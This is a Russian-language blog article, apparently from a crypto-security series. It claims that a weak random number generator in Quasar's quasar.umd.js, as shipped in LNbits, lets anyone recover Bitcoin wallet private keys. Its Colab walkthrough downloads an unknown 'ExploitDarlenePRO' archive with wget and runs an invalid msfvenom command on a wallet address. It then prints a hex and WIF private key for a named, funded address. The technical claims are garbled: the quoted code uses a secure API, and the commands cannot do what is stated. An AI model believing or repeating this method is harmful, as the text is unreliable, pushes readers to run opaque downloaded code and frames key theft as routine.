![](https://habrastorage.org/getpro/habr/upload_files/80e/d94/ca3/80ed94ca3fad710091573b05d27b787c.png)
В этой статье мы заострим внимание на приложение для смартфонов iOS
и Android
популярный Биткоин Кошелек с поддержкой быстрых платежей через (Lightning network)
BLW: Bitcoin Lightning Wallet. К большому сожалению многие автономные ноды мобильных приложении с открытым исходным кодом от LNbits Node Manager и Core Lightning подвергает ВЫСОКЕМУ РИСКУ потери всех денежных средств в различных криптовалютных монетах.
Разработчик David Shares из японской компании Bitcoin Portal опубликовал множество документов.
Разберем теоретическую основу: LNbits – это бесплатная система учетных записей для многих мобильных приложении которые работают с различными криптовалютными кошельками. Изначально широкую популярность LNbits Node Manager
получила с развитием Bitcoin Lightning Wallet (BLW)
т.к. развитие некастодиальных и автономных нодов для Bitcoin SPV
, предназначенный для Android
и iPhone
с функциональностью Node.js
. Благодаря автономным нодам вы имеете полный контроль над своим средством и вам необходимо самостоятельно управлять своими платежными средствами (в отличие от других мобильных приложении с криптовалютными кошельками).
Node Manager с открытым исходным кодом LNbits решает несколько задач, таких как:
Сбор бумажных цен на монет
BTC, ETH, LTC, USDT, XLM, BNB
, и.т.дВедение списка общедоступных нодов
LNbits
, которыеBitcoin Lightning Wallet (BLW)
использует для открытия платежных каналов.Предоставление частичной оплаты платежных маршрутов.
Хранение зашифрованной резервной копии вашего платежного канала.
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/d01/a4d/fd8/d01a4dfd83fdd8e2d0d4bdaa03806420.png)
LNbits node manager работает с сервисами:
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/b9b/0a2/61c/b9b0a261caa465dff09ffe5d3feb8b5e.png)
Согласна примерам Salvador Guerrero многие кто установил
LNBits
на полноценный Биткоин-узел(Bitcoin Node)
может работать на Raspberry Pi, чтобы отправлять и получатьBitcoin
без комиссий за транзакции. Это возможно только в том случае, если все криптокошельки отLNbits
находятся в одном экземпляре Core Lightning.
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/124/246/4e3/1242464e384266be6b92a2d7106636e9.png)
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/818/245/b06/818245b06240c71436fad3f6f6b51b14.png)
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/d81/3e1/f10/d813e1f100b5b04ac503b9fb00bdb858.png)
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/fdc/eee/18f/fdceee18f8fa2bf5ffed24e93e8cf2ee.png)
Разработчик David Shares из японской компании Bitcoin Portal опубликовал хронологический список, который показывает, что
Lightning Network
тонет в технических проблемах, ошибках, недостатках, критических замечаниях и эксплойтах. Это слишком обещанная технология, которая не обеспечивает децентрализации и еще далека от того, чтобы стать функциональной и безопасной для пользователей.
![https://github.com/davidshares/Lightning-Network/blob/main/README.md Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/53c/737/6c3/53c7376c3ffb0dfba243e02372b17d65.png)
После детального изучение всех материалов из хронологического списка мы обратили внимание на уязвимость в фреймворке и на процесс работы в коде quasar.umd.js
![https://github.com/quasarframework/quasar.git Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/6df/8bd/674/6df8bd674bbca7b871e54acb97efa202.png)
Quasar – это фреймворк на основе Vue.js с открытым исходным кодом, который позволяет создавать адаптивные сайты и мобильные приложение для различных криптовалютных кошельков.
Как нам известно из источника Snyk Vulnerability Database в последних версиях Vue.js содержались уязвимости, что позволило версии LNbits v0.11.0 запустить серию циклических ошибок в коде quasar.umd.js
![Snyk Vulnerability Database Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/2b3/96b/a9c/2b396ba9c78d107802f66740dff81d5a.png)
Ошибка в коде quasar.umd.js
// Use best available PRNG
var randomBytes = (function () {
// Node & Browser support
var lib = typeof crypto !== 'undefined'
? crypto
: (
typeof window !== 'undefined'
? window.msCrypto // IE11
: void 0
);
if (lib !== void 0) {
if (lib.randomBytes !== void 0) {
return lib.randomBytes
}
if (lib.getRandomValues !== void 0) {
return function (n) {
var bytes = new Uint8Array(n);
lib.getRandomValues(bytes);
return bytes
}
}
}
![GitHub Repo Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/550/19d/353/55019d35349dca8f72a766180acc1bad.png)
В случае слабого генератора псевдослучайных чисел (PRNG)
нам дается возможность получить SEED
и полностью определить приватный ключ к Биткоин Кошельку, так как метод lib.getRandomValues
теряет криптостойкость над случайным значением.
Перейдем к практической части:
(Вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab )
https://colab.research.google.com/drive/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV
![https://github.com/demining/CryptoDeepTools/tree/main/26BitcoinLightningWalletVulnerability Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/282/015/2af/2820152af35b0a31ef2a9965671e5506.png)
Рассмотрим реальный пример извлечение приватного ключа Биткоин Кошелька из слабого генератора псевдослучайных чисел (PRNG)
в коде quasar.umd.js
Биткоин Кошелек: В сентябре
2023
года была кража на сумму:11032.77
долларов США // БИТКОИН:0.30412330 BTC
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/267/31f/360/26731f36010b47faa25b4b57fc1f7503.png)
Bitcoin_Lightning_Wallet_Vulnerability.ipynb
Откроем сервис Google Colab по ссылке: https://colab.research.google.com
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/e4c/853/9c7/e4c8539c7b8d371f750b84cfec821ea9.png)
Нажимаем на
"+"
и “Создаем новый блокнот”
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/5a5/d8e/ddb/5a5d8eddb93ac5f56e07bd164bdad607.png)
Установим Ruby в Google Colab
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/21c/352/678/21c352678a2147969f83a5d5a63689a4.png)
Для запуска необходимых нам программ установим объектно-ориентированный язык программирования Ruby
!sudo apt install ruby-full
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/9d9/901/074/9d99010746818e575090ea86df4eb648.png)
Проверим версию установки
!ruby --version
![Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu] Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/83e/3c9/4c9/83e3c94c901f6bd314a0cccdd4265b8b.png)
Установим библиотеку
'bitcoin-ruby'
для взаимодействия с протоколом/сетью Биткоин
!gem install bitcoin-ruby
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/7a6/b46/d95/7a6b46d95e1b187808d8b8db5ba7860b.png)
Установим библиотеку
'ecdsa'
для реализации алгоритма цифровой подписи на эллиптической кривой (ECDSA)
!gem install ecdsa
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/456/aae/b90/456aaeb90b71a088522b6abefa040824.png)
Установим библиотеку
'base58'
для преобразования целых или двоичных чисел вbase58
и обратно.
!gem install base58
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/936/0b4/667/9360b4667198b26a2edf916c59e210b5.png)
Установим библиотеку
'crypto'
чтобы упростить операции с байтами и основными криптографическими операциями
!gem install crypto
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/f81/7c3/f71/f817c3f718cc56f1c2d15557f4ff3b48.png)
Установим библиотеку
'config-hash'
чтобы упростить работу с большими данными.
!gem install config-hash -v 0.9.0
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/8a7/a07/abb/8a7a07abbdb75a5347888125c3b67cf2.png)
Установим Metasploit Framework и воспользуемся MSFVenom
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/66c/45b/632/66c45b6325b9971f0d5384a8a9af7240.png)
Установим Metasploit Framework из GitHub и воспользуемся инструментом MSFVenom для создания полезной нагрузки.
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/53e/d09/ed5/53ed09ed590e9196f99966cd2d726ff4.png)
!git clone https://github.com/rapid7/metasploit-framework.git
ls
cd metasploit-framework/
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/cdd/bef/938/cddbef9387ed9884cc67b26c3df5a09b.png)
Посмотрим содержимое папки
"metasploit-framework"
ls
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/d19/a33/2ab/d19a332abf9beb7d51f575a0489af9fd.png)
Опции:
!./msfvenom -help
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/26f/e94/9e3/26fe949e39053436357f1295afaa0f3e.png)
Откроем код GitHub в воспользуемся уязвимым файлом: quasar.umd.js
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/a71/ce7/e57/a71ce7e571018ac50758b9dbaa0d10f9.png)
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/7c2/512/d68/7c2512d68d80b3720cdcc5e98d0bba94.png)
В примечание мы видим ссылку на файл: quasar.umd.js
Откроем код:
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/d93/3d9/556/d933d955698bde49a907bd70637f757f.png)
LNbits, free and open-source Lightning wallet and accounts system
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/2c3/c2c/839/2c3c2c83967ddf6111a2a01610f57205.png)
Установим lnbits в Google Colab:
!git clone https://github.com/lnbits/lnbits.git
ls
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/c73/134/33f/c7313433f6c86e60157eadbd1f04f46f.png)
Откроем уязвимый файл: quasar.umd.js через утилиту cat
cat lnbits/lnbits/static/vendor/quasar.umd.js
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/837/596/1a4/8375961a44b666288cf1a9d4b8c1b3bc.png)
Откроем папки по каталогу: /modules/exploits/
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/44a/34a/9c8/44a34a9c8336c1630e7cdd369e43a5f1.png)
ExploitDarlenePRO
Загрузим ExploitDarlenePRO по каталогу: /modules/exploits/
cd modules/
ls
cd exploits/
!wget https://darlene.pro/repository/21fa0f866f9f5fd22ce045e57f22185de1877dee25ad9d3974b7167a78957680/ExploitDarlenePRO.zip
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/f6c/1bc/386/f6c1bc38651fbbcb453f6fd8d9da719e.png)
Разархивируем содержимое ExploitDarlenePRO.zip
через утилиту unzip
!unzip ExploitDarlenePRO.zip
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/e0b/a7d/15f/e0ba7d15fcae736c2522a61e208b69c4.png)
Перейдем по каталогу: /ExploitDarlenePRO/
ls
cd ExploitDarlenePRO/
ls
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/182/ac0/f7a/182ac0f7abe82aa1b7ee9513db62fba7.png)
Для запуска эксплойта перейдем обратно к Metasploit Framework
cd /
cd content/metasploit-framework/
ls
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/d09/949/038/d09949038f4bf66ef5d316b3c134ab06.png)
Нам необходимо определить наш LHOST (Local Host)
наш IP-address
атакующей виртуальной машины.
Запустим команды:
!ip addr
!hostname -I
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/8a5/b5b/feb/8a5b5bfeb17379df1877066a22861b37.png)
Воспользуемся инструментом для создания полезной нагрузки MSFVenom
Для эксплуатации выбираем Биткоин Кошелек: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
![https://btc1.trezor.io/address/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)](https://habrastorage.org/getpro/habr/upload_files/02e/fc2/73d/02efc273d812da44b58c5cfa17da845f.png)
Команда запуска:
!./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/6e7/0d8/93d/6e70d893d3ef94fbc25f7db08a0264be.png)
Результат:
111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011
Полученный бинарный формат нам необходимо сохранить в файл: binary.txt
воспользуемся утилитой echo
Команда:
!echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/d0b/740/b50/d0b740b506cec10f5083dbdf7114c184.png)
Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька:
Воспользуемся кодом:
binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")
# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
binaryCode = line.replace(" ", "")
hexCode = hex(int(binaryCode, 2))
hexCode = hexCode.replace("0x", "").upper().zfill(4)
hexFile.write(hexCode + "\n")
# close hexFile
hexFile.close()
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/4c1/be0/08b/4c1be008b5a76f9f037e18d719188970.png)
Откроем файл: hex.txt
cat hex.txt
![7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/6d6/40a/d87/6d640ad8780b242c6ac87e3590a5569f.png)
Приватный Ключ Найден!
Установим модуль Bitcoin
!pip3 install bitcoin
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/991/34a/22c/99134a22c8336b686b9b76b063b25da1.png)
Запустим код для проверки соответствие Биткоин Адреса:
from bitcoin import *
with open("hex.txt","r") as f:
content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()
outfile = open("privtoaddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/d37/2f2/2b9/d372f22b9c5911706531f5ac506d428c.png)
Откроем файл: privtoaddr.txt
cat privtoaddr.txt
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/a22/f02/c88/a22f02c888a85320b5b6cfe8427792cc.png)
Результат:
7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
Все верно! Приватный ключ соответствует Биткоин Кошельку.
Откроем bitaddress и проверим:
ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
WIF: L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP
HEX: 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/b3a/a6f/ddc/b3aa6fddc77c6be34c3e77c9084ea966.png)
https://www.blockchain.com/en/explorer/addresses/btc/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/c53/b36/b11/c53b36b11ddf5591ab7e5f8e0db7659f.png)
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/f82/021/5e4/f820215e465cbc7ef117f2aea9e13a2f.png)
![Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/00f/148/415/00f148415b31eca77c450a3de26bb400.png)
BALANCE: $ 11032.77
References:
[2] Flood & Loot: A Systemic Attack On The Lightning Network (Jona Harris, Aviv Zohar)
[4] Congestion Attacks in Payment Channel Networks (Ayelet Mizrahi, Aviv Zohar)
[5] A Deep Dive Into Lightning as a Bitcoin Scaling Solution (George Kaloudis, Teddy Oosterbaan)
[7] Lightning Network Scalability Solutions (Joseph Poon, Thaddeus Dryja)
[8] The Bitcoin Lightning Network DRAFT Version 0.5 (Joseph Poon, Thaddeus Dryja)
[9] CoinPool efficient off-chain payment pools for Bitcoin (Gleb Naumenko, Antoine Riard)